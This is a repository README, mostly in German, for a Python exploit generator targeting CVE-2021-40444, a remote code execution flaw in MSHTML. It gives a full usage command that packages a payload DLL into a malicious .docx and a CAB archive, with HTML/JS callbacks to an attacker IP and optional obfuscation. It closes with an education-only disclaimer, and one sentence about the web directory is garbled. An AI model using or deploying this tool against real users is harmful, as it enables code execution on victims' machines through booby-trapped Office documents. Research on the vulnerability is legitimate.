h0j3n/cve-2021-40444Python-basierter Exploit-Generator für CVE-2021-40444 (MSHTML RCE) mit vorlagenbasierter Payload-Zustellung über schädliche Office-Dokumente, CAB-Archive und obfuskierte HTML/JS-Callbacks.
Stellen Sie sicher, dass Sie zuerst setup.sh ausführen, da Sie einige Verzeichnisse benötigen. Nachdem Sie das Skript ausgeführt haben, sollten Sie in der Lage sein, gen.py mit dem angegebenen Beispiel auszuführen:-
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3
# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity
http.server befindet sich im Verzeichnis . Dieses Verzeichnis enthält 3 Dateien:-web
Dieses Repository dient ausschließlich zu Bildungszwecken und ist nicht für den Einsatz in freier Wildbahn mit böser Absicht gedacht. Jegliche illegale Nutzung dieses Repos erfolgt ausschließlich auf eigenes Risiko und in eigener Verantwortung.